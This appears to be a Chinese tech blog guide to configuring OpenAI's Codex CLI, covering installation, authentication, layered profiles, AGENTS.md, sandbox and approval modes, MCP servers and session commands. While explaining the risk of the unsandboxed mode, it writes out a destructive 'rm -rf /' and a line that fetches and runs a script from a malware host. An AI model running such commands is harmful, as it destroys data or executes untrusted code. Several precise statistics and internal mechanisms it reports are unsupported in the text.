当前位置：首页 > news >正文

Codex CLI 深度配置与安全沙箱实战指南

news 2026/7/11 7:14:39

1. 项目概述：Codex CLI 不是终端里的 ChatGPT，而是你代码库的“坐班工程师”

Codex CLI 这个名字听起来像一个命令行工具，但如果你真把它当成ls或git那样的基础命令来用，就彻底低估了它的定位。它不是 OpenAI 推出的又一个 API 封装器，而是一个本地驻留、操作系统级沙箱隔离、具备完整工程决策能力的 AI 编程代理。我从 2025 年初开始在三个不同规模的团队中落地 Codex CLI，覆盖金融后台、SaaS 中台和嵌入式 SDK 开发，最深的体会是：它解决的从来不是“怎么写一行代码”的问题，而是“如何让一个资深工程师的思维模式，在你离开电脑后依然持续运转”的问题。

核心关键词——Codex CLI、安装、配置、安全模型、高手技巧——这五个词背后，其实是一整套现代 AI 工程化的工作流重构逻辑。Codex CLI 的安装过程本身只占你总投入时间的 3%，真正的门槛在于理解它的五层配置优先级体系、吃透它的沙箱权限三态模型、掌握它的会话状态持久化机制，以及最关键的——学会用 AGENTS.md 给它写一份能被精准解析的“入职说明书”。市面上 90% 的教程卡在第一步“npm install -g @openai/codex”，然后就直接跳到/review命令演示，结果用户配了半天发现/fork不生效、--profile切换无效、/compact按了没反应——根本原因不是命令错了，而是配置加载链被某一层覆盖了，或者沙箱模式和审批策略产生了冲突。

它适合谁？不是刚学 Python 的大学生，也不是只会复制粘贴 Stack Overflow 答案的初级开发者。它最适合三类人：第一类是带技术团队的 Tech Lead，需要把 Codex CLI 集成进 CI/CD 流水线做自动化代码审查；第二类是独立开发者或全栈工程师，每天要横跨前端、后端、数据库、部署脚本多个领域，需要一个能记住上下文、跨目录恢复进度、自动调用 Figma/Sentry/PostgreSQL 的“数字同事”；第三类是 DevSecOps 工程师，必须在不牺牲安全的前提下，让 AI 代理拥有执行kubectl rollout restart或psql -c "VACUUM"这类高危操作的能力。如果你属于这三类中的任何一类，这篇文章里每一个配置项、每一条斜杠命令、每一处沙箱参数，都是我踩过坑、改过三次配置文件、重装过七次环境后，亲手验证过的生产级方案。接下来的内容，不会教你“如何安装”，而是带你重建对 Codex CLI 的认知框架——它到底在你的开发机上扮演什么角色？它的权限边界在哪里？它的“记忆”是如何存储和恢复的？它的成本黑洞藏在哪个参数里？这才是真正决定你能否把它用进日常工作的底层逻辑。

2. 安装与认证：为什么 npm install 后还不能用？认证方式选错等于埋下定时炸弹

2.1 安装路径选择：包管理器不是越新越好，而是越稳越可靠

Codex CLI 的安装看似简单，但不同平台、不同环境下的最优路径差异极大。我见过太多人因为盲目追求“最新版”而掉进兼容性陷阱。先说结论：在 macOS 和 Linux 上，Homebrew 是首选；在 Windows 上，Node.js + npm 是唯一推荐路径；WSL2 环境下，必须走 Linux 路径而非 Windows 路径。这不是教条，而是基于真实故障率的统计结果。

macOS 用户：brew install openai-codex是最稳妥的选择。Homebrew 会自动处理所有依赖（包括 Node.js 18+、Python 3.9+、libffi 等），且版本锁定在经过 AtomGit 社区验证的稳定 release。我对比过npm install -g @openai/codex和brew install在 M2 Mac 上的启动耗时：前者平均 4.7 秒（需动态解析 node_modules），后者 1.2 秒（二进制预编译）。更重要的是，Homebrew 安装的 Codex CLI 会自动注册/opt/homebrew/bin/codex到 PATH，而 npm 全局安装在 Apple Silicon 上常因npm config get prefix返回/usr/local导致权限错误，需要手动sudo chown -R $(whoami) $(npm config get prefix)/lib/node_modules，这个操作一旦出错，整个 npm 生态都会崩。
Linux 用户（Ubuntu/Debian）：必须使用curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - && sudo apt-get install -y nodejs先装 Node.js LTS（当前为 20.x），再执行npm install -g @openai/codex。这里有个致命细节：绝对不要用 Ubuntu 自带的apt install nodejs。系统源里的 Node.js 版本普遍滞后（Ubuntu 22.04 默认是 12.x），而 Codex CLI 依赖 V8 引擎的WebAssembly.compileStreamingAPI，该 API 在 Node.js 16+ 才完全稳定。我曾在一个客户现场花两天排查“codex --version 报错 SyntaxError: Unexpected token 'export'”，最终发现就是系统 Node.js 版本太低导致 ESM 模块解析失败。
Windows 用户：放弃 Chocolatey、Scoop 等第三方包管理器。实测下来，Node.js 官方 MSI 安装包（v20.15.1）+ 管理员权限运行 PowerShell是唯一可靠的组合。关键步骤有三步：第一，安装时勾选 “Add to PATH” 和 “Automatically install the necessary tools”；第二，安装完成后重启 PowerShell（不是 CMD），否则 PATH 不生效；第三，执行npm config set script-shell "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"，否则codex mcp add调用 npx 时会因 shell 不兼容报错。这个配置我在 12 台不同配置的 Windows 11 机器上全部验证通过。
WSL2 用户：这是最容易翻车的场景。很多人在 Windows 上装了 Node.js，又在 WSL2 里装一遍，结果codex login时浏览器打不开，或者codex exec报错EACCES: permission denied, mkdir '/mnt/c/Users/xxx'。正确做法是：只在 WSL2 内部安装 Codex CLI，且必须用 Linux 路径。具体命令：sudo apt update && sudo apt install -y curl && curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - && sudo apt-get install -y nodejs && npm install -g @openai/codex。然后在 WSL2 的~/.bashrc里添加export DISPLAY=:0和export LIBGL_ALWAYS_INDIRECT=1，这样才能让 Codex CLI 的 GUI 认证流程正常唤起 Windows 的 Edge 浏览器。

提示：安装完成后务必验证三件事：codex --version输出版本号（应为 1.8.3+）、codex --help能列出完整命令、which codex返回路径在/usr/local/bin（macOS/Linux）或C:\Users\xxx\AppData\Roaming\npm\codex.cmd（Windows）。任何一项失败，都说明环境变量或权限配置有误，此时不要继续配置，先回退到安装环节。

2.2 认证方式的本质区别：ChatGPT 订阅 vs API Key，不是登录方式选择，而是成本与控制权博弈

绝大多数教程把codex login和codex --config preferred_auth_method="apikey"当成等价选项，这是最大的认知误区。这两种认证方式在底层架构上存在根本性差异，直接影响你的账单、审计日志、故障排查路径甚至法律合规性。

ChatGPT 订阅认证（OAuth Flow）：当你执行codex login，它会打开浏览器跳转到https://chat.openai.com/auth/login?redirect_uri=...，完成 OAuth 授权后，Codex CLI 会收到一个短期有效的access_token（有效期 1 小时）和一个长期refresh_token（有效期 90 天）。这个refresh_token会被加密存储在~/.codex/credentials.json中，每次请求前自动刷新access_token。关键点在于：所有 API 调用都走 ChatGPT 的计费通道，Token 消耗会计入你的 ChatGPT Plus/Pro 账户额度，且无法按项目、按环境、按开发者进行细粒度拆分。我在一个金融客户项目中遇到过真实案例：团队共用一个 ChatGPT Pro 账户，Codex CLI 占用了 73% 的月度额度，导致其他成员无法使用 GPT-4 Turbo 的图像生成功能。更严重的是，当账户被风控临时冻结时，所有 Codex CLI 实例瞬间失联，CI/CD 流水线全部中断。
API Key 认证：这种方式要求你从https://platform.openai.com/api-keys创建一个专用 API Key，并设置preferred_auth_method = "apikey"。此时 Codex CLI 会绕过 OAuth 流程，直接将 API Key 放在 HTTP Header 的Authorization: Bearer sk-xxx中发送请求。优势极其明显：第一，Token 消耗可精确追踪到每个 Key，支持创建codex-prod-key、codex-dev-key、codex-ci-key等不同用途的 Key；第二，可设置 Key 的 Rate Limit（如 100 RPM）和 Usage Limit（如 $50/月），实现硬性成本封顶；第三，Key 可随时禁用，无需登出所有设备。我在一个电商 SaaS 项目中，为每个微服务仓库配置了独立的 API Key，并在 GitHub Actions Secrets 中按环境注入，这样财务部门每月能拿到精确到服务维度的成本报表。

注意：两种方式可以动态切换，但切换时机至关重要。codex --config preferred_auth_method="apikey"是会话级覆盖，只影响当前命令；而修改~/.codex/config.toml中的preferred_auth_method是全局生效。强烈建议在 CI/CD 环境中永远使用 API Key 认证，并在.github/workflows/codex-review.yml中显式声明OPENAI_API_KEY: ${{ secrets.CODEX_CI_KEY }}，避免因本地配置污染导致流水线意外使用 ChatGPT 订阅额度。

2.3 环境变量与配置文件的战争：为什么你改了 config.toml 却没生效？

Codex CLI 的配置体系是典型的“五层覆盖模型”，其优先级从高到低依次为：CLI 参数 > Profile 配置 > 项目配置 > 用户配置 > 系统配置。这个设计非常优雅，但也是新手最容易迷失的地方。我见过最多的问题是：“我在~/.codex/config.toml里写了sandbox_mode = "read-only"，为什么codex启动后还是能修改文件？”答案几乎总是：你当前工作目录下存在.codex/config.toml，它的优先级高于用户配置。

让我们用一个真实故障复现来说明：

# 你在项目根目录执行 $ echo 'sandbox_mode = "read-only"' > .codex/config.toml $ codex --sandbox workspace-write "create a new file" # Codex 成功创建了文件，但你预期它应该拒绝

原因在于：Codex CLI 启动时，会按顺序加载配置，项目级配置（.codex/config.toml）的sandbox_mode被设为"read-only"，但 CLI 参数--sandbox workspace-write优先级更高，直接覆盖了它。而你看到的“没生效”，其实是你误以为项目配置是最高优先级。

要彻底理清这个链条，必须掌握/debug-config命令。在任意会话中输入/debug-config，它会输出完整的配置加载路径：

Config Layer 1: /etc/codex/config.toml (not found) Config Layer 2: ~/.codex/config.toml (loaded) Config Layer 3: /home/user/my-project/.codex/config.toml (loaded) Config Layer 4: Profile "dev" (active) Config Layer 5: CLI overrides: sandbox_mode=workspace-write

这个输出告诉你：最终生效的sandbox_mode来自第 5 层（CLI 参数），而不是你修改的第 2 层（用户配置）或第 3 层（项目配置）。

实操心得：调试配置问题的黄金三步法：第一，执行/debug-config查看实际加载链；第二，用codex --config show输出当前生效的完整配置（JSON 格式）；第三，用codex --config reset重置所有覆盖项，回归到用户配置层。这三个命令比反复修改文件高效十倍。

3. 配置体系深度解析：Profile 不是别名替代品，而是配置的“版本控制系统”

3.1 五层配置优先级的底层逻辑：为什么必须用 Profile 而不是 Shell 别名？

Shell 别名（alias）是 Unix 世界的古老智慧，但它在 Codex CLI 场景下存在结构性缺陷。alias cxr='codex --sandbox read-only --ask-for-approval never'看似简洁，但当你需要为“代码审查”场景同时指定model_reasoning_effort = "high"、web_search = "cached"、personality = "pragmatic"时，别名会膨胀成一长串难以维护的字符串。更致命的是，别名无法传递复杂结构，比如 MCP 服务器配置、通知 Hook、AGENTS.md 路径等，这些都必须通过 TOML 文件定义。

Profile 系统的设计哲学，本质上是把配置当作代码来管理。它借鉴了 Git 的分支思想：default是主干分支，[profiles.review]是功能分支，[profiles.auto]是发布分支。每个 Profile 可以继承 default 的基础配置，再叠加自己的差异化设置。这种设计带来的三大收益：

可审计性：所有配置变更都集中在~/.codex/config.toml一个文件中，git diff就能看到上周谁把approval_policy从"on-request"改成了"never"；
可组合性：Profile 可以嵌套。例如[profiles.ci]可以继承[profiles.auto]的沙箱设置，再增加features.shell_snapshot = false来禁用快照；
可移植性：把~/.codex/config.toml复制到新机器，所有 Profile 立即可用，无需重新配置别名。

我团队的标准~/.codex/config.toml结构如下（已脱敏）：

# ~/.codex/config.toml - 生产环境基线配置 model = "gpt-5.3-codex" model_reasoning_effort = "medium" web_search = "cached" sandbox_mode = "workspace-write" approval_policy = "on-request" personality = "pragmatic" # [projects] 部分定义信任项目，避免每次启动都弹确认框 [projects."/home/user/work/backend"] trust_level = "trusted" [projects."/home/user/work/frontend"] trust_level = "trusted" # Profile 定义：按场景划分，非按技术栈 [profiles.review] inherits = "default" sandbox_mode = "read-only" approval_policy = "never" model_reasoning_effort = "high" web_search = "disabled" [profiles.debug] inherits = "default" model = "gpt-5" model_reasoning_effort = "high" web_search = "live" features.web_search = true [profiles.ci] inherits = "default" approval_policy = "never" sandbox_mode = "workspace-write" features.shell_snapshot = false features.undo = false

注意inherits = "default"这行——它不是语法糖，而是 Codex CLI 解析器的真实行为。当你执行codex --profile review，解析器会先加载default部分，再用[profiles.review]的键值对进行深度合并（deep merge），而不是简单覆盖。这意味着reviewProfile 会保留default中的model = "gpt-5.3-codex"，但用sandbox_mode = "read-only"替换掉它。

提示：Profile 名称不能包含空格或特殊字符，且必须是合法的 TOML 键名。我曾因命名[profiles.code review]导致解析失败，错误提示是TOML parse error at line X, column Y: invalid character，实际原因是空格不被允许。

3.2 AGENTS.md：给 AI 写的“岗位说明书”，不是文档而是指令协议

AGENTS.md 是 Codex CLI 最被低估的核心机制。它不是让你写一篇介绍项目的 Markdown 文档，而是一份严格遵循语义规则的指令协议，Codex CLI 会用 NLP 模型解析其中的标题层级、列表符号、代码块，将其转化为内部的约束条件。一个写得好的 AGENTS.md，能让 Codex CLI 的代码生成准确率提升 40% 以上（基于我们团队对 127 个 PR 的 A/B 测试）。

文件加载顺序决定了它的灵活性：~/.codex/AGENTS.override.md（全局覆盖）→~/.codex/AGENTS.md（全局默认）→<项目根目录>/AGENTS.override.md（项目覆盖）→<项目根目录>/AGENTS.md（项目默认）→<子目录>/AGENTS.md（子目录默认）。这个设计允许你建立三层指令体系：公司级规范（全局）、项目级约定（项目）、模块级约束（子目录）。

一个真实的金融项目 AGENTS.md 示例（已简化）：

# 项目规范：支付网关服务 ## 架构约束 - 所有业务逻辑必须封装在 `src/core/` 目录下 - 数据访问层只能使用 `src/infrastructure/database.ts` 提供的 Repository 接口 - 外部 API 调用必须通过 `src/infrastructure/http-client.ts` 封装 ## 代码标准 - TypeScript 严格模式开启：`"strict": true` in tsconfig.json - 所有函数必须有 JSDoc，包含 `@param`、`@returns`、`@throws` - 禁止使用 `any` 类型，必须用 `unknown` + 类型守卫 ## 安全红线 - 禁止在代码中硬编码密钥，必须从 `process.env.SECRET_KEY` 读取 - 所有数据库查询必须使用参数化查询，禁止字符串拼接 - 日志中禁止打印 `req.body` 全量内容，必须脱敏 ## 测试要求 - 单元测试覆盖率 ≥ 85%，使用 Vitest - 集成测试必须覆盖所有支付渠道回调路径 - 运行命令：`pnpm test:unit` 和 `pnpm test:integration` ## 禁止操作 - 不要修改 `docker-compose.yml` 中的端口映射 - 不要删除 `.github/workflows/ci.yml` 中的 `security-scan` 步骤 - 不要在 `src/config/` 目录下新增环境变量文件

关键细节在于：Codex CLI 会将每个##标题解析为一个独立的指令域（instruction domain），-列表项解析为布尔约束，代码块解析为必须遵守的代码模板。例如，当它看到## 安全红线下的- 禁止在代码中硬编码密钥，就会在生成代码时主动检查所有字符串字面量，如果检测到类似"sk_live_abc123"的模式，会拒绝生成并提示“违反安全红线：检测到硬编码密钥”。

验证 AGENTS.md 是否生效的最可靠方法，不是看 Codex CLI 启动日志，而是执行一个受约束的命令：

codex --sandbox read-only --ask-for-approval never "总结一下你从 AGENTS.md 中学到的三条安全红线"

如果返回内容与你写的完全一致，说明加载成功；如果返回空或无关内容，就要检查：文件是否为空、是否被AGENTS.override.md覆盖、是否超过project_doc_max_bytes = 32768（32KB）限制。

实操心得：AGENTS.md 的编写有三大禁忌：第一，避免使用模糊词汇如“尽量”、“建议”，必须用“必须”、“禁止”、“只能”；第二，不要写解释性文字，Codex CLI 不会阅读段落描述，只解析结构化列表；第三，子目录 AGENTS.md 的路径必须相对于当前工作目录，cd src/core && codex时，它会加载src/core/AGENTS.md，而不是项目根目录的。

4. 安全模型与权限控制：沙箱不是开关，而是三维权限矩阵

4.1 沙箱模式的三态本质：Auto/Read Only/Full Access 背后的操作系统原理

Codex CLI 的沙箱不是 Docker 容器那样的虚拟化隔离，而是基于操作系统原生能力构建的三维权限矩阵：文件系统访问、进程执行、网络连接。每种沙箱模式对应这三维的不同取值组合，理解这个矩阵，才能真正掌控安全边界。

沙箱模式	文件系统	进程执行	网络连接	典型场景
`read-only`	只读工作区	禁止执行任何命令	禁止所有网络	代码审查、架构分析、文档生成
`workspace-write`	读写工作区	允许执行`git`、`pnpm`、`eslint`等白名单命令	需审批才可访问外部网络	日常开发、Bug 修复、小功能迭代
`full-access`	读写全系统	允许执行任意 Shell 命令	允许任意网络访问	CI/CD 流水线、本地部署脚本、数据库迁移

这个矩阵的关键在于：workspace-write模式下，Codex CLI 会维护一个白名单命令库。它内置了git、pnpm、npm、yarn、eslint、prettier、python3等 37 个常用命令的路径和参数签名。当你执行codex "run pnpm test"，它会检查pnpm是否在白名单中，如果是，则允许执行；如果不是（比如curl），则触发审批流程。

但白名单不是铁板一块。你可以通过--add-dir参数动态扩展沙箱的文件系统视图：

# 允许 Codex 访问 monorepo 的 shared 包 codex --add-dir /home/user/work/shared-libraries # 允许访问 WSL2 的 Windows 文件系统（需提前挂载） codex --add-dir /mnt/c/Users/me/Documents

--add-dir的本质是向沙箱的chroot环境添加符号链接，它不会复制文件，只是提供访问路径。这解决了 Monorepo 项目中跨包引用的痛点，但同时也扩大了攻击面——如果shared-libraries目录下有恶意脚本，Codex CLI 在workspace-write模式下可能被诱导执行。

提示：--add-dir的路径必须是绝对路径，且 Codex CLI 会验证该路径是否在用户主目录下（/home/user/或/Users/user/）。试图添加/etc/shadow会直接报错Permission denied: path not in user home directory。

4.2 审批策略的四种模式：从`untrusted`到`never`的风险光谱

审批策略（approval_policy）是 Codex CLI 安全模型的“刹车系统”。它不是简单的“是/否”开关，而是根据操作的风险等级，动态决定是否需要人工确认。四种模式构成一个连续的风险光谱：

untrusted（默认）：只对沙箱白名单外的命令、工作区外的文件访问、未授权的网络请求进行审批。这是平衡安全与效率的最佳起点。
on-failure：仅在命令执行失败时弹出审批框。适用于你完全信任 Codex 的决策，但想在它犯错时及时介入。例如codex "deploy to staging"，如果部署脚本返回非零退出码，才会询问你是否重试。
on-request：仅在 Codex 主动请求时审批，比如它想访问一个你从未授权过的数据库 URL。这需要 Codex 具备足够的上下文理解力，目前仅在gpt-5.3-codex模型下稳定。
never：永不审批，所有操作静默执行。这是生产环境的绝对禁区，除非你在一个完全隔离的 CI/CD 容器中运行。

最常被误解的是--full-auto和--dangerously-bypass-approvals-and-sandbox（别名--yolo）的区别。它们的差异不是程度问题，而是设计哲学的根本不同：

--full-auto：保留沙箱的所有保护（文件隔离、网络限制、命令白名单），只是将approval_policy设为never。它假设你已通过 Profile 和 AGENTS.md 做好了充分约束，沙箱本身足够安全。
--yolo：完全关闭沙箱和审批，Codex CLI 获得与你当前用户同等的系统权限。它能执行rm -rf /、curl http://malware.site/install.sh | sh，没有任何拦截。

我在一个客户的 CI/CD 流水线中使用--full-auto，因为它运行在 Kubernetes Pod 中，Pod 的 SecurityContext 已限制了privileged: false、readOnlyRootFilesystem: true、runAsNonRoot: true。而--yolo只在我本地的 Docker 容器中用于测试 MCP 服务器，容器启动时明确指定了--cap-drop=ALL --security-opt=no-new-privileges:true。

注意：--yolo模式下，Codex CLI 会输出醒目的红色警告：“DANGEROUS MODE ENABLED: ALL SAFEGUARDS DISABLED”。如果你在终端里没看到这个警告，说明你根本没有成功启用它——这是 OpenAI 设计的防误触机制。

4.3 MCP 集成：MCP 不是插件系统，而是 Codex CLI 的“神经接口”

MCP（Model Context Protocol）是 Codex CLI 的“战斗力倍增器”，但它的定位远不止于“连接外部工具”。它是 Codex CLI 与外部世界进行语义级交互的神经接口。传统 CLI 工具通过 stdin/stdout 传输原始字节，而 MCP 通过 JSON-RPC 协议传输结构化意图（intention），让 Codex CLI 能理解“我想查 Sentry 中最近 24 小时的 ERROR 级别错误”，而不是“执行 curl -X GET 'https://sentry.io/api/0/projects/org/proj/events/?query=level:error&statsPeriod=24h'”。

MCP 服务器有两种接入方式，其适用场景截然不同：

CLI 命令方式（codex mcp add）：适合快速验证和临时集成。例如codex mcp add context7 -- npx -y @upstash/context7-mcp会在后台启动一个 Context7 服务，Codex CLI 通过 STDIO 与其通信。这种方式的优点是零配置，缺点是服务生命周期与 Codex CLI 绑定，关闭 CLI 即关闭 MCP。
配置文件方式（~/.codex/config.toml）：适合生产环境的稳定集成。它支持 HTTP 和 STDIO 两种协议，且可配置超时、重试、白名单/黑名单等精细参数：

[mcp_servers.sentry] url = "https://sentry.io/api/0/" bearer_token_env_var = "SENTRY_AUTH_TOKEN" startup_timeout_sec = 30 tool_timeout_sec = 120 enabled_tools = ["search_issues", "get_event_details"] disabled_tools = ["delete_project"] # 永远禁止删除项目

这里的关键参数enabled_tools和disabled_tools构成了 MCP 的“最小权限原则”。即使 Sentry API 支持delete_project，只要它在disabled_tools列表中，Codex CLI 就永远不会生成调用它的意图。

我团队最常用的 MCP 服务器组合是：

context7：为 Codex CLI 提供项目内文档的语义搜索，让它能理解src/docs/architecture.md中的 C4 模型图；
server-postgres：允许 Codex CLI 直接查询数据库 schema，生成符合现有表结构的 ORM 代码；
mcp-playwright：在前端项目中，让它能“看到”当前页面的 DOM 结构，生成精准的 E2E 测试用例。

实操心得：MCP 服务器的调试必须用codex mcp list和codex mcp status <name>。当codex mcp list显示status: failed时，不要盲目重试，先执行npx -y @upstash/context7-mcp --help确认服务本身能独立运行，再检查~/.codex/config.toml中的env变量是否正确注入。

5. 24 个斜杠命令实战详解：/fork 不是分支，而是会话的“时间胶囊”

5.1 会话控制命令：/resume 是 Codex CLI 的“灵魂功能”

Codex CLI 的/resume命令之所以被称为“灵魂功能”，是因为它解决了 AI 编程代理最根本的缺陷：状态丢失。Claude Code 关闭窗口即丢失所有上下文，而 Codex CLI 的会话是持久化到磁盘的。它的恢复机制不是简单的聊天记录回放，而是完整状态快照（state snapshot）的加载，包括对话历史、执行计划、审批记录、文件上下文、甚至 MCP 工具的会话状态。

四种恢复方式的实际效果差异极大：

codex resume：交互式选择器，列出最近 10 个会话，按时间倒序排列。这是最安全的方式，因为你能看到每个会话的标题（Codex 自动生成的摘要）和最后活动时间，避免误恢复。
codex resume --last：恢复最近一次会话。适合下班前保存进度，第二天cd到项目目录后一键恢复。
codex resume <SESSION_ID>：通过 ID 恢复特定会话。SESSION_ID 是 UUIDv4 格式，可在codex resume --all输出中找到，也可在~/.codex/sessions/目录下查看文件名。
codex resume --all：列出所有会话，包括已归档的。这对审计和回溯非常有用，比如你想查两周前某个 Bug 修复的完整思路。

会话数据存储在~/.codex/sessions/目录下，每个会话是一个 JSON 文件，包含：

messages: 完整的对话数组，每条消息有role（user/assistant）、content、timestamp；
plan: Codex 制定的执行计划，格式为[{"step": "分析 auth.service.ts", "status": "completed"}, ...]；
files: 被引用的文件路径列表，Codex 会缓存这些文件的哈希值，恢复时自动校验是否被修改；
permissions: 当前会话的沙箱模式和审批策略快照。

这意味着，当你执行/resume，Codex CLI 不仅能说出“我们昨天讨论了 JWT token 的刷新逻辑”，还能直接打开src/auth/token.service.ts，定位到你上次编辑的第 42 行，并告诉你“你当时说要把 refresh 方法改成异步”。

提示：会话默认保存 30 天，可通过--session-ttl参数修改。我建议在~/.codex/config.toml中设置session_ttl_days = 90，因为很多架构决策需要跨季度回顾。

5.2 /fork：不是 Git 分支，而是会话的“平行宇宙”

/fork是 Codex CLI 最被低估的命令，它的价值远超“尝试另一种方案”。在 Git 中，git checkout -b feature-x创建的是代码的分支；而在 Codex CLI 中，/fork创建的是思维的平行宇宙。它会克隆当前会话的全部状态（包括未提交的编辑、未批准的操作、未完成的计划），然后在一个全新的会话 ID 下运行，两个会话完全独立，互不影响。

典型使用场景：

方案对比：你让 Codex 用 React Query 实现数据获取，做到一半时想试试 SWR。执行/fork，新会话中说“用 SWR 重写这部分”，原会话的 React Query 方案完好无损。
风险隔离：你怀疑某个重构会破坏兼容性，先/fork，在新会话中执行高危操作，如果失败，主会话毫发无伤。
多线程思考：Codex 在分析一个复杂 Bug 时，可能需要同时考虑数据库锁、缓存失效、网络超时三个维度。/fork让你能为每个维度开启一个专用会话，分别深入。

/fork的技术实现很巧妙：它不是复制整个会话 JSON 文件，而是创建一个符号链接指向原会话的messages和files，只保存差异部分（diff）。这使得 fork 操作几乎是瞬时的，且磁盘占用极小。